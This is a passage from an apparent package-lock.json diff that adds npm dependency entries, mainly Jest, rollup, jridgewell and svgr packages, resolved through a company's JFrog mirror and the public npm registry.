"sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==", + "dependencies": { + "@jest/types": "^27.5.1", + "@sinonjs/fake-timers": "^8.0.1", + "@types/node": "*", + "jest-message-util": "^27.5.1", + "jest-mock": "^27.5.1", + "jest-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/globals": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/globals/-/globals-27.5.1.tgz", + "integrity": "sha512-ZEJNB41OBQQgGzgyInAv0UUfDDj3upmHydjieSxFvTRuZElrx7tXg/uVQ5hYVEwiXs3+aMsAeEc9X7xiSKCm4Q==", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/types": "^27.5.1", + "expect": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/reporters": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/reporters/-/reporters-27.5.1.tgz", + "integrity": "sha512-cPXh9hWIlVJMQkVk84aIvXuBB4uQQmFqZiacloFuGiP3ah1sbCxCosidXFDfqG8+6fO1oR2dTJTlsOy4VFmUfw==", + "dependencies": { + "@bcoe/v8-coverage": "^0.2.3", + "@jest/console": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "collect-v8-coverage": "^1.0.0", + "exit": "^0.1.2", + "glob": "^7.1.2", + "graceful-fs": "^4.2.9", + "istanbul-lib-coverage": "^3.0.0", + "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-report": "^3.0.0", + "istanbul-lib-source-maps": "^4.0.0", + "istanbul-reports": "^3.1.3", + "jest-haste-map": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "slash": "^3.0.0", + "source-map": "^0.6.0", + "string-length": "^4.0.1", + "terminal-link": "^2.0.0", + "v8-to-istanbul": "^8.1.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } + } + }, + "node_modules/@jest/reporters/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/reporters/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@jest/reporters/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/reporters/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/reporters/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/reporters/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/reporters/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/schemas": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/schemas/-/schemas-28.1.3.tgz", + "integrity": "sha512-/l/VWsdt/aBXgjshLWOFyFt3IVdYypu5y2Wn2rOO1un6nkqIn8SLXzgIMYXFyYsRWDyF5EthmKJMIdJvk08grg==", + "dependencies": { + "@sinclair/typebox": "^0.24.1" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0" + } + }, + "node_modules/@jest/source-map": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/source-map/-/source-map-27.5.1.tgz", + "integrity": "sha512-y9NIHUYF3PJRlHk98NdC/N1gl88BL08aQQgu4k4ZopQkCw9t9cV8mtl3TV8b/YCB8XaVTFrmUTAJvjsntDireg==", + "dependencies": { + "callsites": "^3.0.0", + "graceful-fs": "^4.2.9", + "source-map": "^0.6.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/source-map/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/test-result": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-result/-/test-result-27.5.1.tgz", + "integrity": "sha512-EW35l2RYFUcUQxFJz5Cv5MTOxlJIQs4I7gxzi2zVU7PJhOwfYq1MdC5nhSmYjX1gmMmLPvB3sIaC+BkcHRBfag==", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/istanbul-lib-coverage": "^2.0.0", + "collect-v8-coverage": "^1.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/test-sequencer": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/test-sequencer/-/test-sequencer-27.5.1.tgz", + "integrity": "sha512-LCheJF7WB2+9JuCS7VB/EmGIdQuhtqjRNI9A43idHv3E4KltCTsPsLxvdaubFHSYwY/fNjMWjl6vNRhDiN7vpQ==", + "dependencies": { + "@jest/test-result": "^27.5.1", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-runtime": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/transform/-/transform-27.5.1.tgz", + "integrity": "sha512-ipON6WtYgl/1329g5AIJVbUuEh0wZVbdpGwC99Jw4LwuoBNS95MVphU6zOeD9pDkon+LLbFL7lOQRapbB8SCHw==", + "dependencies": { + "@babel/core": "^7.1.0", + "@jest/types": "^27.5.1", + "babel-plugin-istanbul": "^6.1.1", + "chalk": "^4.0.0", + "convert-source-map": "^1.4.0", + "fast-json-stable-stringify": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-util": "^27.5.1", + "micromatch": "^4.0.4", + "pirates": "^4.0.4", + "slash": "^3.0.0", + "source-map": "^0.6.1", + "write-file-atomic": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/transform/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/transform/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@jest/transform/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/transform/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/transform/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/transform/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@jest/transform/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz", + "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==", + "dependencies": { + "@jridgewell/set-array": "^1.2.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/source-map/-/source-map-0.3.3.tgz", + "integrity": "sha512-b+fsZXeLYi9fEULmfBrhxn4IrPlINf8fiNarzTof004v3lFdntdwa9PF7vFJqm3mg7s+ScJMxXaE3Acp1irZcg==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { + "version": "5.1.1-v1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz", + "integrity": "sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==", + "dependencies": { + "eslint-scope": "5.1.1" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@nicolo-ribaudo/eslint-scope-5-internals/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.10", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.10.tgz", + "integrity": "sha512-j0Ya0hCFZPd4x40qLzbhGsh9TMtdb+CJQiso+WxLOPNasohq9cc5SNUcwsZaRH6++Xh91Xkm/xHCkuIiIu0LUA==", + "dependencies": { + "ansi-html-community": "^0.0.8", + "common-path-prefix": "^3.0.0", + "core-js-pure": "^3.23.3", + "error-stack-parser": "^2.0.6", + "find-up": "^5.0.0", + "html-entities": "^2.1.0", + "loader-utils": "^2.0.4", + "schema-utils": "^3.0.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 10.13" + }, + "peerDependencies": { + "@types/webpack": "4.x || 5.x", + "react-refresh": ">=0.10.0 <1.0.0", + "sockjs-client": "^1.4.0", + "type-fest": ">=0.17.0 <4.0.0", + "webpack": ">=4.43.0 <6.0.0", + "webpack-dev-server": "3.x || 4.x", + "webpack-hot-middleware": "2.x", + "webpack-plugin-serve": "0.x || 1.x" + }, + "peerDependenciesMeta": { + "@types/webpack": { + "optional": true + }, + "sockjs-client": { + "optional": true + }, + "type-fest": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + }, + "webpack-hot-middleware": { + "optional": true + }, + "webpack-plugin-serve": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-babel": { + "version": "5.3.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz", + "integrity": "sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==", + "dependencies": { + "@babel/helper-module-imports": "^7.10.4", + "@rollup/pluginutils": "^3.1.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0", + "@types/babel__core": "^7.1.9", + "rollup": "^1.20.0||^2.0.0" + }, + "peerDependenciesMeta": { + "@types/babel__core": { + "optional": true + } + } + }, + "node_modules/@rollup/plugin-node-resolve": { + "version": "11.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz", + "integrity": "sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "@types/resolve": "1.17.1", + "builtin-modules": "^3.1.0", + "deepmerge": "^4.2.2", + "is-module": "^1.0.0", + "resolve": "^1.19.0" + }, + "engines": { + "node": ">= 10.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/plugin-replace": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz", + "integrity": "sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==", + "dependencies": { + "@rollup/pluginutils": "^3.1.0", + "magic-string": "^0.25.7" + }, + "peerDependencies": { + "rollup": "^1.20.0 || ^2.0.0" + } + }, + "node_modules/@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "dependencies": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/pluginutils/node_modules/@types/estree": { + "version": "0.0.39", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==" + }, + "node_modules/@rushstack/eslint-patch": { + "version": "1.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@rushstack/eslint-patch/-/eslint-patch-1.3.2.tgz", + "integrity": "sha512-V+MvGwaHH03hYhY+k6Ef/xKd6RYlc4q8WBx+2ANmipHJcKuktNcI/NgEsJgdSUF6Lw32njT6OnrRsKYCdgHjYw==" + }, + "node_modules/@sinclair/typebox": { + "version": "0.24.51", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinclair/typebox/-/typebox-0.24.51.tgz", + "integrity": "sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==" + }, + "node_modules/@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "8.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz", + "integrity": "sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==", + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/@surma/rollup-plugin-off-main-thread": { + "version": "2.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz", + "integrity": "sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==", + "dependencies": { + "ejs": "^3.1.6", + "json5": "^2.2.0", + "magic-string": "^0.25.0", + "string.prototype.matchall": "^4.0.6" + } + }, + "node_modules/@svgr/babel-plugin-add-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz", + "integrity": "sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/@svgr/babel-plugin-remove-jsx-attribute": { + "version": "5.4.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz", + "integrity": 